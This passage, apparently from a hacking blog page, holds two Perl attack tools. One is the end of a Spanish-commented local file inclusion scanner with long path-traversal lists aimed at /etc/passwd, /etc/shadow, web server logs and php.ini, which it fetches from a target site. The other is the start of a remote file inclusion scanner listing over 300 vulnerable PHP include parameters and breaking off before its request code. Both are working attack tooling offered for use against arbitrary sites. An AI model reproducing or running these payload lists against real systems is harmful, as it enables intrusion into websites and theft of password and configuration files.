'../../../etc/security/group',
'../../../../etc/security/group',
'../../../../../etc/security/group',
'../../../../../../etc/security/group',
'../../../../../../../etc/security/group',
'../../../../../../../../etc/security/group',
'../../../../../../../../../etc/security/group',
'../../../../../../../../../../etc/security/group',
'../../../../../../../../../../../etc/security/group',
'../etc/security/passwd',
'../../etc/security/passwd',
'../../../etc/security/passwd',
'../../../../etc/security/passwd',
'../../../../../etc/security/passwd',
'../../../../../../etc/security/passwd',
'../../../../../../../etc/security/passwd',
'../../../../../../../../etc/security/passwd',
'../../../../../../../../../etc/security/passwd',
'../../../../../../../../../../etc/security/passwd',
'../../../../../../../../../../../etc/security/passwd',
'../../../../../../../../../../../../etc/security/passwd',
'../../../../../../../../../../../../../etc/security/passwd',
'../../../../../../../../../../../../../../etc/security/passwd',
'../etc/security/user',
'../../etc/security/user',
'../../../etc/security/user',
'../../../../etc/security/user',
'../../../../../etc/security/user',
'../../../../../../etc/security/user',
'../../../../../../../etc/security/user',
'../../../../../../../../etc/security/user',
'../../../../../../../../../etc/security/user',
'../../../../../../../../../../etc/security/user',
'../../../../../../../../../../../etc/security/user',
'../../../../../../../../../../../../etc/security/user',
'../../../../../../../../../../../../../etc/security/user',
'../etc/security/environ',
'../../etc/security/environ',
'../../../etc/security/environ',
'../../../../etc/security/environ',
'../../../../../etc/security/environ',
'../../../../../../etc/security/environ',
'../../../../../../../etc/security/environ',
'../../../../../../../../etc/security/environ',
'../../../../../../../../../etc/security/environ',
'../../../../../../../../../../etc/security/environ',
'../../../../../../../../../../../etc/security/environ',
'../../../../../../../../../../../../etc/security/environ',
'../../../../../../../../../../../../../etc/security/environ',
'../etc/security/limits',
'../../etc/security/limits',
'../../../etc/security/limits',
'../../../../etc/security/limits',
'../../../../../etc/security/limits',
'../../../../../../etc/security/limits',
'../../../../../../../etc/security/limits',
'../../../../../../../../etc/security/limits',
'../../../../../../../../../etc/security/limits',
'../../../../../../../../../../etc/security/limits',
'../../../../../../../../../../../etc/security/limits',
'../../../../../../../../../../../../etc/security/limits',
'../../../../../../../../../../../../../etc/security/limits',
'../usr/lib/security/mkuser.default',
'../../usr/lib/security/mkuser.default',
'../../../usr/lib/security/mkuser.default',
'../../../../usr/lib/security/mkuser.default',
'../../../../../usr/lib/security/mkuser.default',
'../../../../../../usr/lib/security/mkuser.default',
'../../../../../../../usr/lib/security/mkuser.default',
'../../../../../../../../usr/lib/security/mkuser.default',
'../../../../../../../../../usr/lib/security/mkuser.default',
'../../../../../../../../../../usr/lib/security/mkuser.default',
'../../../../../../../../../../../usr/lib/security/mkuser.default',
'../../../../../../../../../../../../usr/lib/security/mkuser.default',
'../../../../../../../../../../../../../usr/lib/security/mkuser.default'); }
#si no lleva = significa que sera una web normal
#para provar los siguientes paths
elsif ($web !~ /\?/) {
@paths=('/etc/passwd',
'/etc/shadow',
'/etc/cgi-bin',
'/etc/group',
'/etc/security/group',
'/etc/security/passwd',
'/etc/security/user',
'/etc/security/environ',
'/etc/security/limits',
'/usr/lib/security/mkuser.default',
'/apache/logs/access.log',
'/apache/logs/error.log',
'/apache/logs/access.log',
'/apache/logs/error.log',
'/apache/logs/access.log',
'/etc/httpd/logs/acces_log',
'/etc/httpd/logs/acces.log',
'/etc/httpd/logs/error_log',
'/etc/httpd/logs/error.log',
'/var/www/logs/access_log',
'/var/www/logs/access.log',
'/usr/local/apache/logs/access_ log',
'/usr/local/apache/logs/access. log',
'/var/log/apache/access_log',
'/var/log/apache2/access_log',
'/var/log/apache/access.log',
'/var/log/apache2/access.log',
'/var/log/access_log',
'/var/log/access.log',
'/var/www/logs/error_log',
'/var/www/logs/error.log',
'/usr/local/apache/logs/error_log',
'/usr/local/apache/logs/error.log',
'/var/log/apache/error_log',
'/var/log/apache2/error_log',
'/var/log/apache/error.log',
'/var/log/apache2/error.log',
'/var/log/error_log',
'/var/log/error.log',
'/var/log/httpd/access_log',
'/var/log/httpd/error_log',
'/var/log/httpd/access_log',
'/var/log/httpd/error_log',
'/apache/logs/error.log',
'/apache/logs/access.log',
'/apache/logs/error.log',
'/apache/logs/access.log',
'/apache/logs/error.log',
'/apache/logs/access.log',
'/apache/logs/error.log',
'/apache/logs/access.log',
'/apache/logs/error.log',
'/apache/logs/access.log',
'/apache2/logs/error.log',
'/apache2/logs/access.log',
'/apache2/logs/error.log',
'/apache2/logs/access.log',
'/apache2/logs/error.log',
'/apache2/logs/access.log',
'/apache2/logs/error.log',
'/apache2/logs/access.log',
'/apache2/logs/error.log',
'/apache2/logs/access.log',
'/logs/error.log',
'/logs/access.log',
'/logs/error.log',
'/logs/access.log',
'/logs/error.log',
'/logs/access.log',
'/logs/error.log',
'/logs/access.log',
'/logs/error.log',
'/logs/access.log',
'/etc/httpd/logs/acces_log',
'/etc/httpd/logs/acces.log',
'/etc/httpd/logs/error_log',
'/etc/httpd/logs/error.log',
'/usr/local/apache/logs/access_log',
'/usr/local/apache/logs/access.log',
'/usr/local/apache/logs/error_log',
'/usr/local/apache/logs/error.log',
'/usr/local/apache2/logs/access_log',
'/usr/local/apache2/logs/access.log',
'/usr/local/apache2/logs/error_log',
'/usr/local/apache2/logs/error.log',
'/var/www/logs/access_log',
'/var/www/logs/access.log',
'/var/www/logs/error_log',
'/var/www/logs/error.log',
'/var/log/httpd/access_log',
'/var/log/httpd/access.log',
'/var/log/httpd/error_log',
'/var/log/httpd/error.log',
'/var/log/apache/access_log',
'/var/log/apache/access.log',
'/var/log/apache/error_log',
'/var/log/apache/error.log',
'/var/log/apache2/access_log',
'/var/log/apache2/access.log',
'/var/log/apache2/error_log',
'/var/log/apache2/error.log',
'/var/log/access_log',
'/var/log/access.log',
'/var/log/error_log',
'/var/log/error.log',
'/opt/lampp/logs/access_log',
'/opt/lampp/logs/error_log',
'/opt/xampp/logs/access_log',
'/opt/xampp/logs/error_log',
'/opt/lampp/logs/access.log',
'/opt/lampp/logs/error.log',
'/opt/xampp/logs/access.log',
'/opt/xampp/logs/error.log',
'/Program Files\Apache Group\Apache\logs\access.log',
'/Program Files\Apache Group\Apache\logs\error.log',
'/apache/logs/error.log',
'/apache/logs/access.log',
'/apache/logs/error.log',
'/apache/logs/access.log',
'/apache/logs/error.log',
'/apache/logs/access.log',
'/apache/logs/error.log',
'/apache/logs/access.log',
'/apache/logs/error.log',
'/apache/logs/access.log',
'/apache/logs/error.log',
'/apache/logs/access.log',
'/logs/error.log',
'/logs/access.log',
'/logs/error.log',
'/logs/access.log',
'/logs/error.log',
'/logs/access.log',
'/logs/error.log',
'/logs/access.log',
'/logs/error.log',
'/logs/access.log',
'/logs/error.log',
'/logs/access.log',
'/etc/httpd/logs/acces_log',
'/etc/httpd/logs/acces.log',
'/etc/httpd/logs/error_log',
'/etc/httpd/logs/error.log',
'/var/www/logs/access_log',
'/var/www/logs/access.log',
'/usr/local/apache/logs/access_log',
'/usr/local/apache/logs/access.log',
'/var/log/apache/access_log',
'/var/log/apache/access.log',
'/var/log/access_log',
'/var/www/logs/error_log',
'/var/www/logs/error.log',
'/usr/local/apache/logs/error_log',
'/usr/local/apache/logs/error.log',
'/var/log/apache/error_log',
'/var/log/apache/error.log',
'/var/log/access_log',
'/var/log/error_log',
'/usr/local/apache/conf/httpd.conf',
'/usr/local/apache2/conf/httpd.conf',
'/etc/httpd/conf/httpd.conf',
'/etc/apache/conf/httpd.conf',
'/usr/local/etc/apache/conf/httpd.conf',
'/etc/apache2/httpd.conf',
'/usr/local/apache/conf/httpd.conf',
'/usr/local/apache2/conf/httpd.conf',
'/usr/local/apache/httpd.conf',
'/usr/local/apache2/httpd.conf',
'/usr/local/httpd/conf/httpd.conf',
'/usr/local/etc/apache/conf/httpd.conf',
'/usr/local/etc/apache2/conf/httpd.conf',
'/usr/local/etc/httpd/conf/httpd.conf',
'/usr/apache2/conf/httpd.conf',
'/usr/apache/conf/httpd.conf',
'/usr/local/apps/apache2/conf/httpd.conf',
'/usr/local/apps/apache/conf/httpd.conf',
'/etc/apache/conf/httpd.conf',
'/etc/apache2/conf/httpd.conf',
'/etc/httpd/conf/httpd.conf',
'/etc/http/conf/httpd.conf',
'/etc/apache2/httpd.conf',
'/etc/httpd/httpd.conf',
'/etc/http/httpd.conf',
'/etc/httpd.conf',
'/opt/apache/conf/httpd.conf',
'/opt/apache2/conf/httpd.conf',
'/var/www/conf/httpd.conf',
'/private/etc/httpd/httpd.conf',
'/private/etc/httpd/httpd.conf.default',
'/Volumes/webBackup/opt/apache2/conf/httpd.conf',
'/Volumes/webBackup/private/etc/httpd/httpd.conf',
'/Volumes/webBackup/private/etc/httpd/httpd.conf.default',
'/Program Files\Apache Group\Apache\conf\httpd.conf',
'/Program Files\Apache Group\Apache2\conf\httpd.conf',
'/Program Files\xampp\apache\conf\httpd.conf',
'/usr/local/php/httpd.conf.php',
'/usr/local/php4/httpd.conf.php',
'/usr/local/php5/httpd.conf.php',
'/usr/local/php/httpd.conf',
'/usr/local/php4/httpd.conf',
'/usr/local/php5/httpd.conf',
'/Volumes/Macintosh_HD1/opt/httpd/conf/httpd.conf',
'/Volumes/Macintosh_HD1/opt/apache/conf/httpd.conf',
'/Volumes/Macintosh_HD1/opt/apache2/conf/httpd.conf',
'/Volumes/Macintosh_HD1/usr/local/php/httpd.conf.php',
'/Volumes/Macintosh_HD1/usr/local/php4/httpd.conf.php',
'/Volumes/Macintosh_HD1/usr/local/php5/httpd.conf.php',
'/usr/local/etc/apache/vhosts.conf',
'/etc/php.ini',
'/bin/php.ini',
'/etc/httpd/php.ini',
'/usr/lib/php.ini',
'/usr/lib/php/php.ini',
'/usr/local/etc/php.ini',
'/usr/local/lib/php.ini',
'/usr/local/php/lib/php.ini',
'/usr/local/php4/lib/php.ini',
'/usr/local/php5/lib/php.ini',
'/usr/local/apache/conf/php.ini',
'/etc/php4.4/fcgi/php.ini',
'/etc/php4/apache/php.ini',
'/etc/php4/apache2/php.ini',
'/etc/php5/apache/php.ini',
'/etc/php5/apache2/php.ini',
'/etc/php/php.ini',
'/etc/php/php4/php.ini',
'/etc/php/apache/php.ini',
'/etc/php/apache2/php.ini',
'/web/conf/php.ini',
'/usr/local/Zend/etc/php.ini',
'/opt/xampp/etc/php.ini',
'/var/local/www/conf/php.ini',
'/etc/php/cgi/php.ini',
'/etc/php4/cgi/php.ini',
'/etc/php5/cgi/php.ini',
'/php5\php.ini',
'/php4\php.ini',
'/php\php.ini',
'/PHP\php.ini',
'/WINDOWS\php.ini',
'/WINNT\php.ini',
'/apache\php\php.ini',
'/xampp\apache\bin\php.ini',
'/NetServer\bin\stable\apache\php.ini',
'/home2\bin\stable\apache\php.ini',
'/home\bin\stable\apache\php.ini',
'/Volumes/Macintosh_HD1/usr/local/php/lib/php.ini',
'/usr/local/cpanel/logs',
'/usr/local/cpanel/logs/stats_log',
'/usr/local/cpanel/logs/access_log',
'/usr/local/cpanel/logs/error_log',
'/usr/local/cpanel/logs/license_log',
'/usr/local/cpanel/logs/login_log',
'/usr/local/cpanel/logs/stats_log',
'/var/cpanel/cpanel.config',
'/var/log/mysql/mysql-bin.log',
'/var/log/mysql.log',
'/var/log/mysqlderror.log',
'/var/log/mysql/mysql.log',
'/var/log/mysql/mysql-slow.log',
'/var/mysql.log',
'/var/lib/mysql/my.cnf',
'/etc/mysql/my.cnf',
'/etc/my.cnf',
'/etc/logrotate.d/proftpd',
'/www/logs/proftpd.system.log',
'/var/log/proftpd',
'/etc/proftp.conf',
'/etc/protpd/proftpd.conf',
'/etc/vhcs2/proftpd/proftpd.conf',
'/etc/proftpd/modules.conf',
'/var/log/vsftpd.log',
'/etc/vsftpd.chroot_list',
'/etc/logrotate.d/vsftpd.log',
'/etc/vsftpd/vsftpd.conf',
'/etc/vsftpd.conf',
'/etc/chrootUsers',
'/var/log/xferlog',
'/var/adm/log/xferlog',
'/etc/wu-ftpd/ftpaccess',
'/etc/wu-ftpd/ftphosts',
'/etc/wu-ftpd/ftpusers',
'/usr/sbin/pure-config.pl',
'/usr/etc/pure-ftpd.conf',
'/etc/pure-ftpd/pure-ftpd.conf',
'/usr/local/etc/pure-ftpd.conf',
'/usr/local/etc/pureftpd.pdb',
'/usr/local/pureftpd/etc/pureftpd.pdb',
'/usr/local/pureftpd/sbin/pure-config.pl',
'/usr/local/pureftpd/etc/pure-ftpd.conf',
'-/etc/pure-ftpd.conf',
'/etc/pure-ftpd/pure-ftpd.pdb',
'/etc/pureftpd.pdb',
'/etc/pureftpd.passwd',
'/etc/pure-ftpd/pureftpd.pdb',
'/usr/ports/ftp/pure-ftpd/',
'/usr/ports/net/pure-ftpd/',
'/usr/pkgsrc/net/pureftpd/',
'/usr/ports/contrib/pure-ftpd/',
'/var/log/pure-ftpd/pure-ftpd.log',
'/logs/pure-ftpd.log',
'/var/log/pureftpd.log',
'/var/log/ftp-proxy/ftp-proxy.log',
'/var/log/ftp-proxy',
'/var/log/ftplog',
'/etc/logrotate.d/ftp',
'/etc/ftpchroot',
'/etc/ftphosts',
'/var/log/exim_mainlog',
'/var/log/exim/mainlog',
'/var/log/maillog',
'/var/log/exim_paniclog',
'/var/log/exim/paniclog',
'/var/log/exim/rejectlog',
'/var/log/exim_rejectlog'); }

#Cargamos los Paths uno por uno con foreach
foreach $lfi(@paths){

#final sera = a la web junto con el path
$final = $web.$lfi;

#declaramos variables para esperar una respuesta de la web
$request = HTTP::Request->new(GET=>$final);
$useragent = LWP::UserAgent->new();

#Con esto Pasamos la web con path por path esperando respuesta
$respuesta = $useragent->request($request);

#si encuentra uns respuesta de la palabra root
if ($respuesta->is_success && $respuesta->content =~ /root/)

#sera vulnerable la web
{ $msg = "Vulnerable"; }
elsif ($proses =~ /s|S/)

#de lo contrario
{ $msg = "No Encontrado"; }

chop ($msg);

#mostrara el mensage junto con el path
print ("[$msg]..........$final\n"); } }

exit 1;

Scanner en txt

RFI Scanner

2011-01-11T13:16:00.000-08:00

RFI Scann

#!/usr/bin/perl

#Scan a host for rfi vulnerability

# by priv8, senk0 version

use HTTP::Request;

use LWP::UserAgent;

&inizio;

sub inizio{

print q(

###########################

Rfi vulnerability scanner

by nobody, senk0 version

###########################

);

print "\n Insert host:(ex: http://www.site.com/)\n";

$host=;

chomp($host);

print "Ok lets scan..\n";

$rfi1="includes/header.php?systempath=";

$rfi2="Gallery/displayCategory.php?basepath=";

$rfi3="index.inc.php?PATH_Includes=";

$rfi4="nphp/nphpd.php?nphp_config[LangFile]=";

$rfi5="include/db.php?GLOBALS[rootdp]=";

$rfi6="ashnews.php?pathtoashnews=";

$rfi7="ashheadlines.php?pathtoashnews=";

$rfi8="modules/xgallery/upgrade_album.php?GALLERY_BASEDIR=";

$rfi9="demo/includes/init.php?user_inc=";

$rfi10="jaf/index.php?show=";

$rfi11="inc/shows.inc.php?cutepath=";

$rfi12="poll/admin/common.inc.php?base_path=";

$rfi13="pollvote/pollvote.php?pollname=";

$rfi14="sources/post.php?fil_config=";

$rfi15="modules/My_eGallery/public/displayCategory.php?basepath=";

$rfi16="bb_lib/checkdb.inc.php?libpach=";

$rfi17="include/livre_include.php?no_connect=lol&chem_absolu=";

$rfi18="index.php?from_market=Y&pageurl=";

$rfi19="modules/mod_mainmenu.php?mosConfig_absolute_path=";

$rfi20="pivot/modules/module_db.php?pivot_path=";

$rfi21="modules/4nAlbum/public/displayCategory.php?basepath=";

$rfi22="derniers_commentaires.php?rep=";

$rfi23="modules/coppermine/themes/default/theme.php?THEME_DIR=";

$rfi24="modules/coppermine/include/init.inc.php?CPG_M_DIR=";

$rfi25="modules/coppermine/themes/coppercop/theme.php?THEME_DIR=";

$rfi26="coppermine/themes/maze/theme.php?THEME_DIR=";

$rfi28="allmylinks/include/footer.inc.php?_AMLconfig[cfg_serverpath]=";

$rfi29="allmylinks/include/info.inc.php?_AMVconfig[cfg_serverpath]=";

$rfi30="myPHPCalendar/admin.php?cal_dir=";

$rfi31="agendax/addevent.inc.php?agendax_path=";

$rfi32="modules/mod_mainmenu.php?mosConfig_absolute_path=";

$rfi33="modules/PNphpBB2/includes/functions_admin.php?phpbb_root_path=";

$rfi34="main.php?page=";

$rfi35="default.php?page=";

$rfi36="index.php?action=";

$rfi37="index1.php?p=";

$rfi38="index2.php?x=";

$rfi39="index2.php?content=";

$rfi40="index.php?conteudo=";

$rfi41="index.php?cat=";

$rfi42="include/new-visitor.inc.php?lvc_include_dir=";

$rfi43="modules/agendax/addevent.inc.php?agendax_path=";

$rfi44="shoutbox/expanded.php?conf=";

$rfi45="modules/xgallery/upgrade_album.php?GALLERY_BASEDIR=";

$rfi46="pivot/modules/module_db.php?pivot_path=";

$rfi47="library/editor/editor.php?root=";

$rfi48="library/lib.php?root=";

$rfi49="e107/e107_handlers/secure_img_render.php?p=";

$rfi50="zentrack/index.php?configFile=";

$rfi51="main.php?x=";

$rfi52="becommunity/community/index.php?pageurl=";

$rfi53="GradeMap/index.php?page=";

$rfi54="phpopenchat/contrib/yabbse/poc.php?sourcedir=";

$rfi55="calendar/calendar.php?serverPath=";

$rfi56="calendar/functions/popup.php?serverPath=";

$rfi57="calendar/events/header.inc.php?serverPath=";

$rfi58="calendar/events/datePicker.php?serverPath=";

$rfi59="calendar/setup/setupSQL.php?serverPath=";

$rfi60="calendar/setup/header.inc.php?serverPath=";

$rfi61="mwchat/libs/start_lobby.php?CONFIG[MWCHAT_Libs]=";

$rfi62="zentrack/index.php?configFile=";

$rfi63="pivot/modules/module_db.php?pivot_path=";

$rfi64="inc/header.php/step_one.php?server_inc=";

$rfi65="install/index.php?lng=../../include/main.inc&G_PATH=";

$rfi66="inc/pipe.php?HCL_path=";

$rfi67="include/write.php?dir=";

$rfi68="include/new-visitor.inc.php?lvc_include_dir=";

$rfi69="includes/header.php?systempath=";

$rfi70="support/mailling/maillist/inc/initdb.php?absolute_path=";

$rfi71="coppercop/theme.php?THEME_DIR=";

$rfi72="zentrack/index.php?configFile=";

$rfi73="pivot/modules/module_db.php?pivot_path=";

$rfi74="inc/header.php/step_one.php?server_inc=";

$rfi75="install/index.php?lng=../../include/main.inc&G_PATH=";

$rfi76="inc/pipe.php?HCL_path=";

$rfi77="include/write.php?dir=";

$rfi78="include/new-visitor.inc.php?lvc_include_dir=";

$rfi79="includes/header.php?systempath=";

$rfi80="support/mailling/maillist/inc/initdb.php?absolute_path=";

$rfi81="coppercop/theme.php?THEME_DIR=";

$rfi82="becommunity/community/index.php?pageurl=";

$rfi83="shoutbox/expanded.php?conf=";

$rfi84="agendax/addevent.inc.php?agendax_path=";

$rfi85="myPHPCalendar/admin.php?cal_dir=";

$rfi86="yabbse/Sources/Packages.php?sourcedir=";

$rfi87="dotproject/modules/projects/addedit.php?root_dir=";

$rfi88="dotproject/modules/projects/view.php?root_dir=";

$rfi89="dotproject/modules/projects/vw_files.php?root_dir=";

$rfi90="dotproject/modules/tasks/addedit.php?root_dir=";

$rfi91="dotproject/modules/tasks/viewgantt.php?root_dir=";

$rfi92="My_eGallery/public/displayCategory.php?basepath=";

$rfi93="modules/My_eGallery/public/displayCategory.php?basepath=";

$rfi94="modules/4nAlbum/public/displayCategory.php?basepath=";

$rfi95="modules/coppermine/themes/default/theme.php?THEME_DIR=";

$rfi96="modules/agendax/addevent.inc.php?agendax_path=";

$rfi97="modules/xoopsgallery/upgrade_album.php?GALLERY_BASEDIR=";

$rfi98="modules/xgallery/upgrade_album.php?GALLERY_BASEDIR=";

$rfi99="modules/coppermine/include/init.inc.php?CPG_M_DIR=";

$rfi100="modules/mod_mainmenu.php?mosConfig_absolute_path=";

$rfi101="shoutbox/expanded.php?conf=";

$rfi102="pivot/modules/module_db.php?pivot_path=";

$rfi103="library/editor/editor.php?root=";

$rfi104="library/lib.php?root=";

$rfi105="e107/e107_handlers/secure_img_render.php?p=";

$rfi106="main.php?x=";

$rfi107="main.php?page=";

$rfi108="index.php?meio.php=";

$rfi109="index.php?include=";

$rfi110="index.php?inc=";

$rfi111="index.php?page=";

$rfi112="index.php?pag=";

$rfi113="index.php?p=";

$rfi114="index.php?x=";

$rfi115="index.php?open=";

$rfi116="index.php?visualizar=";

$rfi117="index.php?pagina=";

$rfi118="index2.php?content=";

$rfi119="inc/step_one_tables.php?server_inc=";

$rfi120="GradeMap/index.php?page=";

$rfi121="phpshop/index.php?base_dir=";

$rfi122="admin.php?cal_dir=";

$rfi123="contacts.php?cal_dir=";

$rfi124="convert-date.php?cal_dir=";

$rfi125="album_portal.php?phpbb_root_path=";

$rfi126="mainfile.php?MAIN_PATH=";

$rfi127="dotproject/modules/files/index_table.php?root_dir=";

$rfi128="html/affich.php?base=";

$rfi129="gallery/init.php?HTTP_POST_VARS=";

$rfi130="pm/lib.inc.php?pm_path=";

$rfi131="ideabox/include.php?gorumDir=";

$rfi132="index2.php?includes_dir=";

$rfi133="forums/toplist.php?phpbb_root_path=";

$rfi134="forum/toplist.php?phpbb_root_path=";

$rfi135="admin/config_settings.tpl.php?include_path=";

$rfi136="include/common.php?include_path=";

$rfi137="event/index.php?page=";

$rfi138="forum/index.php?includeFooter=";

$rfi139="forums/index.php?includeFooter=";

$rfi140="forum/bb_admin.php?includeFooter=";

$rfi141="forums/bb_admin.php?includeFooter=";

$rfi142="language/lang_english/lang_activity.php?phpbb_root_path=";

$rfi143="forum/language/lang_english/lang_activity.php?phpbb_root_path=";

$rfi144="blend_data/blend_common.php?phpbb_root_path=";

$rfi145="master.php?root_path=";

$rfi146="includes/kb_constants.php?module_root_path=";

$rfi147="forum/includes/kb_constants.php?module_root_path=";

$rfi148="forums/includes/kb_constants.php?module_root_path=";

$rfi149="classes/adodbt/sql.php?classes_dir=";

$rfi150="agenda.php3?rootagenda=";

$rfi151="agenda2.php3?rootagenda=";

$rfi152="sources/lostpw.php?CONFIG[path]=";

$rfi153="topsites/sources/lostpw.php?CONFIG[path]=";

$rfi154="toplist/sources/lostpw.php?CONFIG[path]=";

$rfi155="sources/join.php?CONFIG[path]=";

$rfi156="topsites/sources/join.php?CONFIG[path]=";

$rfi157="toplist/sources/join.php?CONFIG[path]=";

$rfi158="topsite/sources/join.php?CONFIG[path]=";

$rfi159="public_includes/pub_popup/popup_finduser.php?vsDragonRootPath=";

$rfi160="extras/poll/poll.php?file_newsportal=";

$rfi161="index.php?site_path=";

$rfi162="mail/index.php?site_path=";

$rfi163="fclick/show.php?path=";

$rfi164="show.php?path=";

$rfi165="calogic/reconfig.php?GLOBALS[CLPath]=";

$rfi166="eshow.php?Config_rootdir=";

$rfi167="auction/auction_common.php?phpbb_root_path=";

$rfi168="index.php?inc_dir=";

$rfi169="calendar/index.php?inc_dir=";

$rfi170="modules/TotalCalendar/index.php?inc_dir=";

$rfi171="modules/calendar/index.php?inc_dir=";

$rfi172="calendar/embed/day.php?path=";

$rfi173="ACalendar/embed/day.php?path=";

$rfi174="calendar/add_event.php?inc_dir=";

$rfi175="claroline/auth/extauth/drivers/ldap.inc.php?clarolineRepositorySys=";

$rfi176="claroline/auth/ldap/authldap.php?includePath=";

$rfi177="docebo/modules/credits/help.php?lang=";

$rfi178="modules/credits/help.php?lang=";

$rfi179="config.php?returnpath=";

$rfi180="editsite.php?returnpath=";

$rfi181="in.php?returnpath=";

$rfi182="addsite.php?returnpath=";

$rfi183="includes/pafiledb_constants.php?module_root_path=";

$rfi184="phpBB/includes/pafiledb_constants.php?module_root_path=";

$rfi185="pafiledb/includes/pafiledb_constants.php?module_root_path=";

$rfi186="auth/auth.php?phpbb_root_path=";

$rfi187="auth/auth_phpbb/phpbb_root_path=";

$rfi188="apc-aa/cron.php3?GLOBALS[AA_INC_PATH]=";

$rfi189="apc-aa/cached.php3?GLOBALS[AA_INC_PATH]=";

$rfi190="infusions/last_seen_users_panel/last_seen_users_panel.php?settings[locale]=";

$rfi191="phpdig/includes/config.php?relative_script_path=";

$rfi192="includes/phpdig/includes/config.php?relative_script_path=";

$rfi193="includes/dbal.php?eqdkp_root_path=";

$rfi194="eqdkp/includes/dbal.php?eqdkp_root_path=";

$rfi195="dkp/includes/dbal.php?eqdkp_root_path=";

$rfi196="include/SQuery/gameSpy2.php?libpath=";

$rfi197="include/global.php?GLOBALS[includeBit]=";

$rfi198="topsites/config.php?returnpath=";

$rfi199="manager/frontinc/prepend.php?_PX_config[manager_path]=";

$rfi200="ubbthreads/addpost_newpoll.php?addpoll=thispath=";

$rfi201="forum/addpost_newpoll.php?thispath=";

$rfi202="forums/addpost_newpoll.php?thispath=";

$rfi203="ubbthreads/ubbt.inc.php?thispath=";

$rfi204="forums/ubbt.inc.php?thispath=";

$rfi205="forum/ubbt.inc.php?thispath=";

$rfi206="forum/admin/addentry.php?phpbb_root_path=";

$rfi207="admin/addentry.php?phpbb_root_path=";

$rfi208="index.php?f=";

$rfi209="index.php?act=";

$rfi210="ipchat.php?root_path=";

$rfi211="includes/orderSuccess.inc.php?glob[rootDir]=";

$rfi212="stats.php?dir[func]=dir[base]=";

$rfi213="ladder/stats.php?dir[base]=";

$rfi214="ladders/stats.php?dir[base]=";

$rfi215="sphider/admin/configset.php?settings_dir=";

$rfi216="admin/configset.php?settings_dir=";

$rfi217="vwar/admin/admin.php?vwar_root=";

$rfi218="modules/vwar/admin/admin.php?vwar_root=";

$rfi219="modules/vWar_Account/includes/get_header.php?vwar_root=";

$rfi220="modules/vWar_Account/includes/functions_common.php?vwar_root2=";

$rfi221="sphider/admin/configset.php?settings_dir=";

$rfi222="admin/configset.php?settings_dir=";

$rfi223="impex/ImpExData.php?systempath=";

$rfi224="forum/impex/ImpExData.php?systempath=";

$rfi225="forums/impex/ImpExData.php?systempath=";

$rfi226="application.php?base_path=";

$rfi227="index.php?theme_path=";

$rfi228="become_editor.php?theme_path=";

$rfi229="add.php?theme_path=";

$rfi230="bad_link.php?theme_path=";

$rfi231="browse.php?theme_path=";

$rfi232="detail.php?theme_path=";

$rfi233="fav.php?theme_path=";

$rfi234="get_rated.php?theme_path=";

$rfi235="login.php?theme_path=";

$rfi236="mailing_list.php?theme_path=";

$rfi237="new.php?theme_path=";

$rfi238="modify.php?theme_path=";

$rfi239="pick.php?theme_path=";

$rfi240="power_search.php?theme_path=";

$rfi241="rating.php?theme_path=";

$rfi242="register.php?theme_path=";

$rfi243="review.php?theme_path=";

$rfi244="rss.php?theme_path=";

$rfi245="search.php?theme_path=";

$rfi246="send_pwd.php?theme_path=";

$rfi247="sendmail.php?theme_path=";

$rfi248="tell_friend.php?theme_path=";

$rfi249="top_rated.php?theme_path=";

$rfi250="user_detail.php?theme_path=";

$rfi251="user_search.php?theme_path=";

$rfi252="invoice.php?base_path=";

$rfi253="cgi-bin//classes/adodbt/sql.php?classes_dir=";

$rfi254="cgi-bin/install/index.php?G_PATH=";

$rfi255="cgi-bin/include/print_category.php?dir=";

$rfi256="includes/class_template.php?quezza_root_path=";

$rfi257="bazar/classified_right.php?language_dir=";

$rfi258="classified_right.php?language_dir=";

$rfi259="phpBazar/classified_right.php?language_dir=";

$rfi260="chat/messagesL.php3?cmd=";

$rfi261="phpMyChat/chat/messagesL.php3?cmd=";

$rfi262="bbs/include/write.php?dir=";

$rfi263="visitorupload.php?cmd=";

$rfi264="modules/center/admin/accounts/process.php?module_path]=";

$rfi265="index.php?template=";

$rfi266="armygame.php?libpath=";

$rfi267="lire.php?rub=";

$rfi268="pathofhostadmin/?page=";

$rfi269="apa_phpinclude.inc.php?apa_module_basedir=";

$rfi270="index.php?req_path=";

$rfi271="research/boards/encapsbb-0.3.2_fixed/index_header.php?root=";

$rfi272="Farsi1/index.php?archive=";

$rfi273="index.php?archive=";

$rfi274="show_archives.php?template=";

$rfi275="forum/include/common.php?pun_root=";

$rfi276="pmwiki wiki/pmwiki-2.1.beta20/pmwiki.php?GLOBALS[FarmD]=";

$rfi277="vuln.php?=";

$rfi278="cgi-bin//include/write.php?dir=";

$rfi279="admin/common.inc.php?basepath=";

$rfi280="pm/lib.inc.php?sfx=";

$rfi281="pm/lib.inc.php?pm_path=";

$rfi282="artmedic-kleinanzeigen-path/index.php?id=";

$rfi283="osticket/include/main.php?include_dir=";

$rfi284="include/main.php?config[search_disp]=include_dir=";

$rfi285="phpcoin/config.php?_CCFG[_PKG_PATH_DBSE]=";

$rfi286="quick_reply.php?phpbb_root_path=";

$rfi287="zboard/include/write.php?dir=";

$rfi288="admin/plog-admin-functions.php?configbasedir=";

$rfi289="content.php?content=";

$rfi290="q-news.php?id=";

$rfi291="_conf/core/common-tpl-vars.php?confdir=";

$rfi292="votebox.php?VoteBoxPath=";

$rfi293="al_initialize.php?alpath=";

$rfi294="include/db.php?GLOBALS[rootdp]=";

$rfi295="modules/news/archivednews.php?GLOBALS[language_home]=";

$rfi296="protection.php?siteurl=";

$rfi297="modules/AllMyGuests/signin.php?_AMGconfig[cfg_serverpath]=";

$rfi298="index2.php?includes_dir=";

$rfi299="classes.php?LOCAL_PATH=";

$rfi300="extensions/moblog/moblog_lib.php?basedir=";

$rfi301="modules/newbb_plus/class/forumpollrenderer.php?bbPath[path]=";

$rfi302="phpWebLog/include/init.inc.php?G_PATH=";

$rfi303="admin/objects.inc.php4?Server=";

$rfi304="trg_news30/trgnews/install/article.php?dir=";

$rfi305="block.php?Include=";

$rfi306="arpuivo.php?data=";

$rfi307="setup/index.php?GALLERY_BASEDIR=";

$rfi308="include/help.php?base=";

$rfi309="index.php?[Home]=";

$rfi310="block.php?Include=";

$rfi311="examples/phonebook.php?page=";

$rfi312="PHPNews/auth.php?path=";

$rfi313="include/print_category.php?dir=";

$rfi314="skin/zero_vote/login.php?dir=";

$rfi315="skin/zero_vote/setup.php?dir=";

$rfi316="skin/zero_vote/ask_password.php?dir=";

$rfi317="gui/include/sql.php?include_path=";

$rfi318="webmail/lib/emailreader_execute_on_each_page.inc.php?emailreader_ini=";

